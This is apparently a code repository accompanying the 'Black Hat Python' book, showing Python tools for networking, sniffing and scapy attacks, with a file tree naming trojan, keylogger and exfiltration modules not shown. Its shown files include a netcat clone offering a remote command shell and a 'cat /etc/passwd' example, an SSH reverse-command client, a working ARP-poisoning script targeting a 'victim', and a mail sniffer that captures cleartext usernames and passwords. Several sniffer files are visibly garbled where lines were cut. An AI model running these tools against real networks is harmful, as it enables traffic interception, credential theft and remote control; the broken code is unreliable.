├── 01_networking ├── netcat.py ├── proxy.py ├── ssh_cmd.py ├── ssh_rcmd.py ├── ssh_server.py ├── tcp_client.py ├── tcp_server.py └── udp_client.py ├── 02_scanandsniff ├── scanner.py ├── sniffer.py ├── sniffer_ip_header_decode.py └── sniffer_with_icmp.py ├── 03_scapytools ├── arper.py ├── mail_sniffer.py └── recapper.py ├── 04_facefinder ├── detector.py ├── faces │ └── .gitkeep ├── haarcascade_frontalface_alt.xml └── pictures │ └── .gitkeep ├── 05_web ├── all.txt ├── bruter.py ├── cain-and-abel.txt ├── wp_killer.py └── wp_mapper.py ├── 06_githubtrojan ├── config.json ├── dirlister.py ├── environment.py └── github_trojan.py ├── 07_windowstrojantasks ├── keylogger.py ├── sandbox_detect.py ├── screenshotter.py └── shell_exec.py ├── 08_exfitration ├── cryptor.py ├── email_exfil.py ├── exfil.py ├── paste_exfil.py └── transmit_exfil.py ├── 09_privescalation ├── bhservice │ ├── bhservice.py │ └── bhservice_task.vbs.txt ├── file_monitor.py └── process_monitor.py ├── 10_offensiveforensics └── aslrcheck.py ├── README.md ├── docs └── img │ ├── netcat.png │ ├── tcp_client.png │ └── tcp_server.png ├── poetry.lock └── pyproject.toml /01_networking/netcat.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import socket 3 | import subprocess 4 | import sys 5 | import textwrap 6 | import threading 7 | 8 | 9 | def execute(cmd): 10 | """Execute a command on the target host.""" 11 | cmd = cmd.strip() 12 | if not cmd: 13 | return 14 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT) 15 | return output.decode() 16 | 17 | 18 | class NetCat: 19 | def __init__(self, args, buffer=None): 20 | self.args = args 21 | self.buffer = buffer 22 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 24 | 25 | def run(self): 26 | """Run the NetCat client.""" 27 | if self.args.listen: 28 | self.listen() 29 | else: 30 | self.send() 31 | 32 | def send(self): 33 | """Send data to the target host.""" 34 | self.socket.connect((self.args.target, self.args.port)) 35 | if self.buffer: 36 | self.socket.send(self.buffer) 37 | 38 | try: 39 | while True: 40 | recv_len = 1 41 | response = "" 42 | while recv_len: 43 | data = self.socket.recv(4096) 44 | recv_len = len(data) 45 | response += data.decode() 46 | if recv_len < 4096: 47 | break 48 | if response: 49 | print(response) 50 | buffer = input("> ") 51 | buffer += "\n" 52 | self.socket.send(buffer.encode()) 53 | except KeyboardInterrupt: 54 | print("User terminated.") 55 | self.socket.close() 56 | sys.exit() 57 | 58 | def listen(self): 59 | print(f"listening on {self.args.target}:{self.args.port}") 60 | self.socket.bind((self.args.target, self.args.port)) 61 | self.socket.listen(5) 62 | while True: 63 | client_socket, addr = self.socket.accept() 64 | print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") 65 | client_thread = threading.Thread(target=self.handle, args=(client_socket,)) 66 | client_thread.start() 67 | 68 | def handle(self, client_socket): 69 | """Handle a client connection.""" 70 | if self.args.execute: 71 | output = execute(self.args.execute) 72 | client_socket.send(output.encode()) 73 | 74 | elif self.args.upload: 75 | file_buffer = b"" 76 | while True: 77 | data = client_socket.recv(4096) 78 | if data: 79 | file_buffer += data 80 | print(len(file_buffer)) 81 | else: 82 | break 83 | 84 | with open(self.args.upload, "wb") as f: 85 | f.write(file_buffer) 86 | message = f"Saved file {self.args.upload}" 87 | client_socket.send(message.encode()) 88 | 89 | elif self.args.command: 90 | cmd_buffer = b"" 91 | while True: 92 | try: 93 | client_socket.send(b"#> ") 94 | while "\n" not in cmd_buffer.decode(): 95 | cmd_buffer += client_socket.recv(64) 96 | response = execute(cmd_buffer.decode()) 97 | if response: 98 | client_socket.send(response.encode()) 99 | cmd_buffer = b"" 100 | except Exception as e: 101 | print(f"server killed {e}") 102 | self.socket.close() 103 | sys.exit() 104 | 105 | 106 | if __name__ == "__main__": 107 | parser = argparse.ArgumentParser( 108 | description="BHP Net Tool", 109 | formatter_class=argparse.RawDescriptionHelpFormatter, 110 | epilog=textwrap.dedent( 111 | """Example: 112 | netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell 113 | netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.whatisup # upload to file 114 | netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command 115 | echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135 # echo local text to server port 135 116 | netcat.py -t 192.168.1.108 -p 5555 # connect to server 117 | """ 118 | ), 119 | ) 120 | parser.add_argument( 121 | "-c", "--command", action="store_true", help="initialize command shell" 122 | ) 123 | parser.add_argument("-e", "--execute", help="execute specified command") 124 | parser.add_argument("-l", "--listen", action="store_true", help="listen") 125 | parser.add_argument("-p", "--port", type=int, default=5555, help="specified port") 126 | parser.add_argument("-t", "--target", default="192.168.1.203", help="specified IP") 127 | parser.add_argument("-u", "--upload", help="upload file") 128 | args = parser.parse_args() 129 | if args.listen: 130 | buffer = "" 131 | else: 132 | buffer = sys.stdin.read() 133 | 134 | nc = NetCat(args, buffer.encode("utf-8")) 135 | nc.run() 136 | -------------------------------------------------------------------------------- /01_networking/proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | HEX_FILTER = "".join([(len(repr(chr(i))) == 3) and chr(i) or "." for i in range(256)]) 6 | 7 | 8 | def hexdump(src, length=16, show=True): 9 | if isinstance(src, bytes): 10 | src = src.decode() 11 | results = list() 12 | for i in range(0, len(src), length): 13 | word = str(src[i : i + length]) 14 | printable = word.translate(HEX_FILTER) 15 | hexa = " ".join([f"{ord(c):02X}" for c in word]) 16 | hexwidth = length * 3 17 | results.append(f"{i:04x} {hexa:<{hexwidth}} {printable}") 18 | if show: 19 | for line in results: 20 | print(line) 21 | else: 22 | return results 23 | 24 | 25 | def proxy_handler( 26 | client_socket: socket.socket, 27 | remote_host: str, 28 | remote_port: int, 29 | receive_first: bool, 30 | ) -> None: 31 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | remote_socket.connect((remote_host, remote_port)) 33 | loop = True 34 | 35 | if receive_first: 36 | remote_buffer = receive_from(remote_socket) 37 | hexdump(remote_buffer) 38 | remote_buffer = response_handler(remote_buffer) 39 | if remote_buffer: 40 | print(f"[<==] Received {len(remote_buffer)} bytes from remote.") 41 | hexdump(remote_buffer) 42 | 43 | while loop: 44 | local_buffer = receive_from(client_socket) 45 | if local_buffer: 46 | print(f"[<==] Received {len(local_buffer)} bytes from local.") 47 | hexdump(local_buffer) 48 | 49 | local_buffer = request_handler(local_buffer) 50 | remote_socket.send(local_buffer) 51 | print("[==>] Sent to remote.") 52 | 53 | remote_buffer = receive_from(remote_socket) 54 | if remote_buffer: 55 | print(f"[<==] Received {len(remote_buffer)} bytes from remote.") 56 | hexdump(remote_buffer) 57 | 58 | remote_buffer = response_handler(remote_buffer) 59 | client_socket.send(remote_buffer) 60 | 61 | print("[==>] Sent to local.") 62 | 63 | if not local_buffer or not remote_buffer: 64 | client_socket.close() 65 | remote_socket.close() 66 | print("[*] No more data. Closing connections.") 67 | loop = False 68 | break 69 | 70 | 71 | def receive_from(connection: socket.socket) -> bytes: 72 | buffer = b"" 73 | connection.settimeout(10) 74 | while True: 75 | data = connection.recv(4096) 76 | if not data: 77 | break 78 | buffer += data 79 | return buffer 80 | 81 | 82 | def request_handler(buffer: bytes) -> bytes: 83 | # Here we can modify the packets before forwarding them 84 | return buffer 85 | 86 | 87 | def response_handler(buffer: bytes) -> bytes: 88 | # Here we can modify the packets before forwarding them 89 | return buffer 90 | 91 | 92 | def server_loop( 93 | localhost: str, 94 | localport: int, 95 | remotehost: str, 96 | remoteport: int, 97 | receive_first: bool, 98 | ): 99 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 100 | try: 101 | server.bind((localhost, localport)) 102 | except Exception as e: 103 | print(f"[!!] Failed to listen on {localhost}:{localport}") 104 | print(f"[!!] Check for other listening sockets or correct permissions.") 105 | raise e 106 | 107 | print(f"[*] Listening on {localhost}:{localport}") 108 | server.listen(5) 109 | while True: 110 | client_socket, addr = server.accept() 111 | print(f"[>] Received incoming connection from {addr[0]}:{addr[1]}") 112 | proxy_thread = threading.Thread( 113 | target=proxy_handler, 114 | args=(client_socket, remotehost, remoteport, receive_first), 115 | ) 116 | proxy_thread.start() 117 | 118 | 119 | if __name__ == "__main__": 120 | if len(sys.argv[1:]) != 5: 121 | print("Usage: proxy.py [localhost] [localport]", end="") 122 | print("[remotehost] [remoteport] [receive_first]") 123 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 124 | sys.exit(0) 125 | 126 | local_host = sys.argv[1] 127 | local_port = int(sys.argv[2]) 128 | 129 | remote_host = sys.argv[3] 130 | remote_port = int(sys.argv[4]) 131 | 132 | receive_first = sys.argv[5] 133 | 134 | if "True" in receive_first: 135 | receive_first = True 136 | else: 137 | receive_first = False 138 | 139 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 140 | -------------------------------------------------------------------------------- /01_networking/ssh_cmd.py: -------------------------------------------------------------------------------- 1 | # Requires paramiko to be installed with 2 | # pip install paramiko 3 | import paramiko 4 | 5 | 6 | def ssh_command(ip, port, user, passwd, cmd): 7 | client = paramiko.SSHClient() 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, port=port, username=user, password=passwd) 10 | 11 | _, stdout, stderr = client.exec_command(cmd) 12 | output = stdout.readlines() + stderr.readlines() 13 | if output: 14 | print("--- Output ---") 15 | for line in output: 16 | print(line.strip()) 17 | 18 | 19 | if __name__ == "__main__": 20 | import getpass 21 | 22 | user = input("Username: ") 23 | password = getpass.getpass() 24 | 25 | ip = input("Enter server IP: ") or "192.168.1.203" 26 | port = input("Enter port or : ") or 2222 27 | cmd = input("Enter command or : ") or "id" 28 | ssh_command(ip, port, user, password, cmd) 29 | -------------------------------------------------------------------------------- /01_networking/ssh_rcmd.py: -------------------------------------------------------------------------------- 1 | # Requires paramiko to be installed with 2 | # pip install paramiko 3 | import paramiko 4 | import subprocess 5 | 6 | 7 | def ssh_command(ip, port, user, passwd, command): 8 | client = paramiko.SSHClient() 9 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | client.connect(hostname=ip, port=port, username=user, password=passwd) 11 | 12 | ssh_session = client.get_transport().open_session() 13 | if ssh_session.active: 14 | ssh_session.send(command) 15 | print(ssh_session.recv(1024).decode()) # read banner 16 | while True: 17 | command = ssh_session.recv(1024) 18 | try: 19 | cmd = command.decode() 20 | if cmd == "exit": 21 | client.close() 22 | break 23 | cmd_output = subprocess.check_output(cmd, shell=True) 24 | ssh_session.send(cmd_output or "okay") 25 | except Exception as e: 26 | ssh_session.send(str(e)) 27 | client.close() 28 | return 29 | 30 | 31 | if __name__ == "__main__": 32 | import getpass 33 | 34 | user = input("Username: ") 35 | password = getpass.getpass() 36 | 37 | ip = input("Enter server IP: ") 38 | port = input("Enter port: ") 39 | ssh_command(ip, port, user, password, "ClientConnected") 40 | -------------------------------------------------------------------------------- /01_networking/ssh_server.py: -------------------------------------------------------------------------------- 1 | # Requires paramiko to be installed with 2 | # pip install paramiko 3 | import os 4 | import paramiko 5 | import socket 6 | import sys 7 | import threading 8 | from pathlib import Path 9 | 10 | HOSTKEY = paramiko.RSAKey(filename=str(Path(__file__).parent / ".test_rsa.key")) 11 | 12 | 13 | class Server(paramiko.ServerInterface): 14 | def _init_(self): 15 | self.event = threading.Event() 16 | 17 | def check_channel_request(self, kind, chanid): 18 | if kind == "session": 19 | return paramiko.OPEN_SUCCEEDED 20 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 21 | 22 | def check_auth_password(self, username, password): 23 | if (username == "lucas") and (password == "secret"): 24 | return paramiko.AUTH_SUCCESSFUL 25 | 26 | 27 | if __name__ == "__main__": 28 | server = "192.168.1.207" 29 | ssh_port = 2222 30 | try: 31 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 33 | sock.bind((server, ssh_port)) 34 | sock.listen(100) 35 | print("[+] Listening for connection ...") 36 | client, addr = sock.accept() 37 | except Exception as e: 38 | print("[-] Listen failed: " + str(e)) 39 | sys.exit(1) 40 | else: 41 | print(f"[+] Got a connection! from {addr}") 42 | 43 | bhSession = paramiko.Transport(client) 44 | bhSession.add_server_key(HOSTKEY) 45 | server = Server() 46 | bhSession.start_server(server=server) 47 | 48 | chan = bhSession.accept(20) 49 | if chan is None: 50 | print("*** No channel.") 51 | sys.exit(1) 52 | 53 | print("[+] Authenticated!") 54 | print(chan.recv(1024).decode()) 55 | chan.send("Welcome to bh_ssh") 56 | try: 57 | while True: 58 | command = input("Enter command: ") 59 | if command != "exit": 60 | chan.send(command) 61 | r = chan.recv(8192) 62 | print(r.decode()) 63 | else: 64 | chan.send("exit") 65 | print("exiting") 66 | bhSession.close() 67 | break 68 | except KeyboardInterrupt: 69 | bhSession.close() 70 | -------------------------------------------------------------------------------- /01_networking/tcp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import argparse 3 | 4 | 5 | def main(host: str, port: int, raw_data: str): 6 | host = host or "www.google.com" 7 | port = port or 80 8 | raw_data = raw_data or f"GET / HTTP/1.2\r\nHost: {host}\r\n\r\n" 9 | 10 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | client.connect((host, port)) 12 | 13 | client.send(raw_data.encode()) 14 | response = client.recv(4096) 15 | 16 | print(response.decode("utf-8")) 17 | client.close() 18 | 19 | 20 | if __name__ == "__main__": 21 | parser = argparse.ArgumentParser( 22 | description="Send data using TCP.", 23 | epilog="Example usage: ./tcp_client.py --host www.google.com --port 80", 24 | ) 25 | parser.add_argument("--host", type=str, help="the host to connect to") 26 | parser.add_argument("--port", type=int, help="the port to connect to") 27 | parser.add_argument("--data", type=str, help="the data to send") 28 | args = parser.parse_args() 29 | main(args.host, args.port, args.data) 30 | -------------------------------------------------------------------------------- /01_networking/tcp_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import argparse 4 | 5 | 6 | def main(ip: str, port: int): 7 | ip = ip or "0.0.0.0" 8 | port = port or 9999 9 | 10 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | server.bind((ip, port)) 12 | server.listen(5) 13 | print(f"[*] Listening on {ip}:{port}") 14 | 15 | while True: 16 | client, address = server.accept() 17 | print(f"[*] Accepted connection from {address[0]}:{address[1]}") 18 | client_handler = threading.Thread(target=handle_client, args=(client,)) 19 | client_handler.start() 20 | 21 | 22 | def handle_client(client_socket): 23 | with client_socket as sock: 24 | request = sock.recv(1024) 25 | print(f'[*] Received: {request.decode("utf-8")}') 26 | sock.send(b"ACKKK") 27 | 28 | 29 | if __name__ == "__main__": 30 | parser = argparse.ArgumentParser( 31 | description="Receive data using TCP.", 32 | epilog="Example usage: ./tcp_server.py --ip 0.0.0.0 --port 9999", 33 | ) 34 | parser.add_argument("--ip", type=str, help="the bind IP") 35 | parser.add_argument("--port", type=int, help="the bind port") 36 | args = parser.parse_args() 37 | main(args.ip, args.port) 38 | -------------------------------------------------------------------------------- /01_networking/udp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import argparse 3 | 4 | 5 | def main(host: str, port: int, raw_data: str): 6 | host = host or "127.0.0.1" 7 | port = port or 9999 8 | raw_data = raw_data or f"GET / HTTP/1.2\r\nHost: {host}\r\n\r\n" 9 | 10 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | client.sendto(raw_data.encode(), (host, port)) 12 | 13 | data, address = client.recvfrom(4096) 14 | print(data.decode("utf-8")) 15 | print(address.decode("utf-8")) 16 | 17 | client.close() 18 | 19 | 20 | if __name__ == "__main__": 21 | parser = argparse.ArgumentParser( 22 | description="Send data using UDP.", 23 | epilog="Example usage: python udp_client.py --host www.google.com --port 80", 24 | ) 25 | parser.add_argument("--host", type=str, help="the host to connect to") 26 | parser.add_argument("--port", type=int, help="the port to connect to") 27 | parser.add_argument("--data", type=str, help="the data to send") 28 | args = parser.parse_args() 29 | main(args.host, args.port, args.data) 30 | -------------------------------------------------------------------------------- /02_scanandsniff/scanner.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | import threading 7 | import time 8 | 9 | SUBNET = "192.168.1.0/24" 10 | MESSAGE = "PYTHONRULES!" 11 | 12 | 13 | class IP: 14 | def __init__(self, buff=None): 15 | header = struct.unpack("> 4 17 | self.ihl = header[0] & 0xF 18 | 19 | self.tos = header[1] 20 | self.len = header[2] 21 | self.id = header[3] 22 | self.offset = header[4] 23 | self.ttl = header[5] 24 | self.protocol_num = header[6] 25 | self.sum = header[7] 26 | self.src = header[8] 27 | self.dst = header[9] 28 | 29 | # human readable IP addresses 30 | self.src_address = ipaddress.ip_address(self.src) 31 | self.dst_address = ipaddress.ip_address(self.dst) 32 | 33 | # map protocol constants to their names 34 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 35 | try: 36 | self.protocol = self.protocol_map[self.protocol_num] 37 | except Exception as e: 38 | print(f"{e} No protocol for {self.protocol_num}") 39 | self.protocol = str(self.protocol_num) 40 | 41 | 42 | class ICMP: 43 | def __init__(self, buff): 44 | header = struct.unpack("> 4 12 | self.ihl = header[0] & 0xF 13 | 14 | self.tos = header[1] 15 | self.len = header[2] 16 | self.id = header[3] 17 | self.offset = header[4] 18 | self.ttl = header[5] 19 | self.protocol_num = header[6] 20 | self.sum = header[7] 21 | self.src = header[8] 22 | self.dst = header[9] 23 | 24 | # human readable IP addresses 25 | self.src_address = ipaddress.ip_address(self.src) 26 | self.dst_address = ipaddress.ip_address(self.dst) 27 | 28 | # map protocol constants to their names 29 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 30 | try: 31 | self.protocol = self.protocol_map[self.protocol_num] 32 | except Exception as e: 33 | print(f"{e} No protocol for {self.protocol_num}") 34 | self.protocol = str(self.protocol_num) 35 | 36 | 37 | def sniff(host): 38 | if os.name == "nt": 39 | socket_protocol = socket.IPPROTO_IP 40 | else: 41 | socket_protocol = socket.IPPROTO_ICMP 42 | 43 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 44 | sniffer.bind((host, 0)) 45 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 46 | 47 | if os.name == "nt": 48 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 49 | 50 | try: 51 | while True: 52 | raw_buffer = sniffer.recvfrom(65535)[0] 53 | ip_header = IP(raw_buffer[0:20]) 54 | print( 55 | f"Protocol: {ip_header.protocol} {ip_header.src_address} -> {ip_header.dst_address}" 56 | ) 57 | print( 58 | f"Version: {ip_header.ver} Header Length: {ip_header.ihl} TTL: {ip_header.ttl}" 59 | ) 60 | 61 | except KeyboardInterrupt: 62 | if os.name == "nt": 63 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 64 | sys.exit() 65 | 66 | 67 | if __name__ == "__main__": 68 | if len(sys.argv) == 2: 69 | host = sys.argv[1] 70 | else: 71 | # Get this address using ifconfig on Linux 72 | # or ipconfig on Windows 73 | host = "192.168.1.66" 74 | sniff(host) 75 | -------------------------------------------------------------------------------- /02_scanandsniff/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | 8 | class IP: 9 | def __init__(self, buff=None): 10 | header = struct.unpack("> 4 12 | self.ihl = header[0] & 0xF 13 | 14 | self.tos = header[1] 15 | self.len = header[2] 16 | self.id = header[3] 17 | self.offset = header[4] 18 | self.ttl = header[5] 19 | self.protocol_num = header[6] 20 | self.sum = header[7] 21 | self.src = header[8] 22 | self.dst = header[9] 23 | 24 | # human readable IP addresses 25 | self.src_address = ipaddress.ip_address(self.src) 26 | self.dst_address = ipaddress.ip_address(self.dst) 27 | 28 | # map protocol constants to their names 29 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 30 | try: 31 | self.protocol = self.protocol_map[self.protocol_num] 32 | except Exception as e: 33 | print(f"{e} No protocol for {self.protocol_num}") 34 | self.protocol = str(self.protocol_num) 35 | 36 | 37 | class ICMP: 38 | def __init__(self, buff): 39 | header = struct.unpack(" %s" 67 | % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 68 | ) 69 | print( 70 | f"Version: {ip_header.ver} Header Length: {ip_header.ihl} TTL: {ip_header.ttl}" 71 | ) 72 | 73 | # calculate where our ICMP packet starts 74 | offset = ip_header.ihl * 4 75 | buf = raw_buffer[offset : offset + 8] 76 | icmp_header = ICMP(buf) 77 | print( 78 | "ICMP -> Type: %s Code: %s\n" % (icmp_header.type, icmp_header.code) 79 | ) 80 | 81 | except KeyboardInterrupt: 82 | if os.name == "nt": 83 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 84 | sys.exit() 85 | 86 | 87 | if __name__ == "__main__": 88 | if len(sys.argv) == 2: 89 | host = sys.argv[1] 90 | else: 91 | # Get this address using ifconfig on Linux 92 | # or ipconfig on Windows 93 | host = "192.168.1.66" 94 | sniff(host) 95 | -------------------------------------------------------------------------------- /03_scapytools/arper.py: -------------------------------------------------------------------------------- 1 | # Requires scapy to be installed 2 | # pip install scapy 3 | # On Windows, also requires winpcap or npcap to be installed 4 | from multiprocessing import Process 5 | from scapy.all import ARP, Ether, conf, send, sniff, srp, wrpcap 6 | import sys 7 | import time 8 | 9 | 10 | def get_mac(targetip): 11 | packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", pdst=targetip) 12 | resp, _ = srp(packet, timeout=2, retry=10, verbose=False) 13 | for _, r in resp: 14 | return r[Ether].src 15 | return None 16 | 17 | 18 | class Arper: 19 | def __init__(self, victim, gateway, interface="en0"): 20 | self.victim = victim 21 | self.victimmac = get_mac(victim) 22 | self.gateway = gateway 23 | self.gatewaymac = get_mac(gateway) 24 | self.interface = interface 25 | conf.iface = interface 26 | conf.verb = 0 27 | 28 | print(f"Initialized {interface}:") 29 | print(f"Gateway ({gateway}) is at {self.gatewaymac}.") 30 | print(f"Victim ({victim}) is at {self.victimmac}.") 31 | print("-" * 30) 32 | 33 | def run(self): 34 | self.poison_thread = Process(target=self.poison) 35 | self.poison_thread.start() 36 | 37 | self.sniff_thread = Process(target=self.sniff) 38 | self.sniff_thread.start() 39 | 40 | def poison(self): 41 | poison_victim = ARP() 42 | poison_victim.op = 2 43 | poison_victim.psrc = self.gateway 44 | poison_victim.pdst = self.victim 45 | poison_victim.hwdst = self.victimmac 46 | print(f"ip src: {poison_victim.psrc}") 47 | print(f"ip dst: {poison_victim.pdst}") 48 | print(f"mac dst: {poison_victim.hwdst}") 49 | print(f"mac src: {poison_victim.hwsrc}") 50 | print(poison_victim.summary()) 51 | print("-" * 30) 52 | poison_gateway = ARP() 53 | poison_gateway.op = 2 54 | poison_gateway.psrc = self.victim 55 | poison_gateway.pdst = self.gateway 56 | poison_gateway.hwdst = self.gatewaymac 57 | 58 | print(f"ip src: {poison_gateway.psrc}") 59 | print(f"ip dst: {poison_gateway.pdst}") 60 | print(f"mac dst: {poison_gateway.hwdst}") 61 | print(f"mac_src: {poison_gateway.hwsrc}") 62 | print(poison_gateway.summary()) 63 | print("-" * 30) 64 | print("Beginning the ARP poison. [CTRL-C to stop]") 65 | while True: 66 | sys.stdout.write(".") 67 | sys.stdout.flush() 68 | try: 69 | send(poison_victim) 70 | send(poison_gateway) 71 | except KeyboardInterrupt: 72 | self.restore() 73 | sys.exit() 74 | else: 75 | time.sleep(2) 76 | 77 | def sniff(self, count=1000): 78 | time.sleep(5) 79 | print(f"Sniffing {count} packets") 80 | bpf_filter = "ip host %s" % victim 81 | packets = sniff(count=count, filter=bpf_filter, iface=self.interface) 82 | wrpcap("arper.pcap", packets) 83 | print("Got the packets") 84 | self.restore() 85 | self.poison_thread.terminate() 86 | print("Finished.") 87 | 88 | def restore(self): 89 | print("Restoring ARP tables...") 90 | send( 91 | ARP( 92 | op=2, 93 | psrc=self.gateway, 94 | hwsrc=self.gatewaymac, 95 | pdst=self.victim, 96 | hwdst="ff:ff:ff:ff:ff:ff", 97 | ), 98 | count=5, 99 | ) 100 | send( 101 | ARP( 102 | op=2, 103 | psrc=self.victim, 104 | hwsrc=self.victimmac, 105 | pdst=self.gateway, 106 | hwdst="ff:ff:ff:ff:ff:ff", 107 | ), 108 | count=5, 109 | ) 110 | 111 | 112 | if __name__ == "__main__": 113 | (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) 114 | myarp = Arper(victim, gateway, interface) 115 | myarp.run() 116 | -------------------------------------------------------------------------------- /03_scapytools/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | # Requires scapy to be installed 2 | # pip install scapy 3 | # On Windows, also requires winpcap or npcap to be installed 4 | from scapy.all import sniff, TCP, IP 5 | 6 | 7 | def packet_callback(packet): 8 | if packet[TCP].payload: 9 | mypacket = str(packet[TCP].payload) 10 | if "user" in mypacket.lower() or "pass" in mypacket.lower(): 11 | print(f"[*] Destination: {packet[IP].dst}") 12 | print(f"[*] {str(packet[TCP].payload)}") 13 | 14 | 15 | def main(): 16 | sniff( 17 | filter="tcp port 110 or tcp port 25 or tcp port 143", 18 | prn=packet_callback, 19 | store=0, 20 | ) 21 | 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /03_scapytools/recapper.py: -------------------------------------------------------------------------------- 1 | # Requires scapy to be installed 2 | # pip install scapy 3 | # On Windows, also requires winpcap or npcap to be installed 4 | from scapy.all import TCP, rdpcap 5 | import collections 6 | import re 7 | import sys 8 | import zlib 9 | from pathlib import Path 10 | 11 | OUTDIR = "Pictures" 12 | 13 | Response = collections.namedtuple("Response", ["header", "payload"]) 14 | 15 | 16 | def get_header(payload): 17 | try: 18 | header_raw = payload[: payload.index(b"\r\n\r\n") + 2] 19 | except ValueError: 20 | sys.stdout.write("-") 21 | sys.stdout.flush() 22 | return None 23 | 24 | header = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", header_raw.decode())) 25 | if "Content-Type" not in header: 26 | return None 27 | return header 28 | 29 | 30 | def extract_content(Response, content_name="image"): 31 | content, content_type = None, None 32 | if content_name in Response.header["Content-Type"]: 33 | content_type = Response.header["Content-Type"].split("/")[1] 34 | content = Response.payload[Response.payload.index(b"\r\n\r\n") + 4 :] 35 | 36 | if "Content-Encoding" in Response.header: 37 | if Response.header["Content-Encoding"] == "gzip": 38 | content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 32) 39 | elif Response.header["Content-Encoding"] == "deflate": 40 | content = zlib.decompress(Response.payload) 41 | 42 | return content, content_type 43 | 44 | 45 | class Recapper: 46 | def __init__(self, fname): 47 | pcap = rdpcap(fname) 48 | self.sessions = pcap.sessions() 49 | self.responses = list() 50 | 51 | def get_responses(self): 52 | for session in self.sessions: 53 | payload = b"" 54 | for packet in self.sessions[session]: 55 | try: 56 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 57 | payload += bytes(packet[TCP].payload) 58 | except IndexError: 59 | sys.stdout.write("x") 60 | sys.stdout.flush() 61 | 62 | if payload: 63 | header = get_header(payload) 64 | if header is None: 65 | continue 66 | self.responses.append(Response(header=header, payload=payload)) 67 | 68 | def write(self, content_name): 69 | for i, response in enumerate(self.responses): 70 | content, content_type = extract_content(response, content_name) 71 | if content and content_type: 72 | fname = Path(OUTDIR) / f"ex_{i}.{content_type}" 73 | print(f"Writing {fname}") 74 | with fname.open("wb") as f: 75 | f.write(content) 76 | 77 | 78 | if __name__ == "__main__": 79 | pfile = "pcap.pcap" 80 | recapper = Recapper(pfile) 81 | recapper.get_responses() 82 | recapper.write("image") 83 | -------------------------------------------------------------------------------- /04_facefinder/detector.py: -------------------------------------------------------------------------------- 1 | # Requires cv2 to be installed 2 | # pip install opencv-python 3 | import cv2 4 | from pathlib import Path 5 | 6 | ROOT = Path(__file__).parent / "pictures" 7 | FACES = Path(__file__).parent / "faces" 8 | 9 | 10 | def detect(srcdir: Path = ROOT, tgtdir: Path = FACES): 11 | for jpg in list(srcdir.glob("**/*.jpg")): 12 | fullname = srcdir / jpg.name 13 | newname = tgtdir / jpg.name 14 | img = cv2.imread(str(fullname)) 15 | if img is None: 16 | # Image couldn't be read 17 | continue 18 | training = Path(__file__).parent / "haarcascade_frontalface_alt.xml" 19 | cascade = cv2.CascadeClassifier(str(training.resolve())) 20 | grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 21 | try: 22 | rects = cascade.detectMultiScale(grey, 1.3, 5) 23 | if rects.any(): 24 | print(f"Faces found in + {jpg.name}") 25 | rects[:, 2:] += rects[:, :2] 26 | except AttributeError: 27 | print(f"No faces found - {jpg.name}") 28 | continue 29 | # highlight the faces in the image 30 | for x1, y1, x2, y2 in rects: 31 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 32 | cv2.imwrite(str(newname), img) 33 | 34 | 35 | if __name__ == "__main__": 36 | detect() 37 | -------------------------------------------------------------------------------- /04_facefinder/faces/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/04_facefinder/faces/.gitkeep -------------------------------------------------------------------------------- /04_facefinder/pictures/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/04_facefinder/pictures/.gitkeep 